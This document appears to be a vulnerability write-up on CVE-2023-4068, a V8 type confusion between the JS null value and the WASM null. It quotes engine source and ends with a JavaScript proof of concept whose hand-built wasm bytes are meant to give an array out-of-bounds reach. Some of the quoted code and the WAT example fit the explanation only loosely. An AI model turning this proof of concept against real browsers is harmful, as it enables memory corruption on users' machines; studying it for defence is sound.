CVE-2023-4068

WASM Null vs JS Null Type Confusion ()

Bug Type

V8 introduced a WASM null type for WebAssembly references while still keeping the JS null-value object. Some engine paths mistakenly treat the JS null-value as a WASM null. This type confusion allows reading or writing beyond the allocated JS null object.

Commit 455d38ff8df7303474e8ead05cad659aac0a1bbc

Bug Location

From src/wasm/constant-expression-interface.cc:

WasmValue DefaultValueForType(ValueType type, Isolate* isolate) {
  switch (type.kind()) {
    case kI32:
    case kI8:
    case kI16:
      return WasmValue(0);
    case kI64:
      return WasmValue(int64_t{0});
    case kF32:
      return WasmValue(0.0f);
    case kF64:
      return WasmValue(0.0);
    case kS128:
      return WasmValue(Simd128());
    case kRefNull:
      return WasmValue(isolate->factory()->null_value(), type); // ---> [2]
    case kVoid:
    case kRtt:
    case kRef:
    case kBottom:
      UNREACHABLE();
  }
}

When type.kind() is kRefNull, DefaultValueForType always returns the JS null_value, without checking whether a WASM null is expected. As a result, structure members or references that should be treated as wasm-null may incorrectly point to a JS null_value, creating a type confusion between the two null types.

V8 Structs for JS NullValue and WASM Null

JS NullValue

From src/objects/heap-object.h:

class HeapObjectPtr : public ObjectPtr {
 public:
  inline Map map() const;
  inline int Size() const;
  operator HeapObject*() { return reinterpret_cast<HeapObject*>(ptr()); }
};

WASM Null

From src/wasm/wasm-objects.h:

class WasmNull : public TorqueGeneratedWasmNull<WasmNull, HeapObject> {
 public:
  static constexpr int kSize = 64 * KB + kTaggedSize;
  Address payload() { return ptr() + kHeaderSize - kHeapObjectTag; }
};
  • WASM null is 64 KB+, while JS null_value is only 16 bytes.
  • The size mismatch allows OOB memory access if a JS null is misinterpreted as WASM null.

Generating WASM Ref Null Module (WAT)

(module
  (type $t0 (func))
  (func $main
    ;; Allocate a ref.null of externref type
    (local $r externref)
    (local.set $r (ref.null extern))
  )
  (export "main" (func $main))
)

WASM GC Type Confusion with OOB Example

let objArr = [{}, {}];          
let doubleArr = [1.1, 2.2, 3.3]; 
let oobArr = [1.1, 1.1, 1.1];    // array to be expanded via bug

var wasm_code = new Uint8Array([
    0,97,115,109,1,0,0,0,1,38,6,80,0,95,1,127,1,
    80,0,95,1,108,0,1,80,0,95,1,108,1,0,80,0,95,
    1,108,2,0,80,0,95,1,108,3,0,96,0,0,3,2,1,5,
    4,12,1,64,0,107,4,1,1,2,251,8,4,11,7,8,1,4,
    109,97,105,110,0,0,10,29,1,27,0,65,0,37,0,251,
    3,4,0,251,3,3,0,251,3,2,0,251,3,1,0,251,3,0,
    0,26,11
]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);

// Step 3: Trigger WASM GC bug to expand `oobArr`
wasm_instance.exports.main(); // internally calls DefaultValueForType(kRefNull)

console.log("oobArr length after bug:", oobArr.length);
  • DefaultValueForType(kRefNull) always returns JS null_value.
  • Engine expects WASM null, so memory past the JS null_value can be accessed.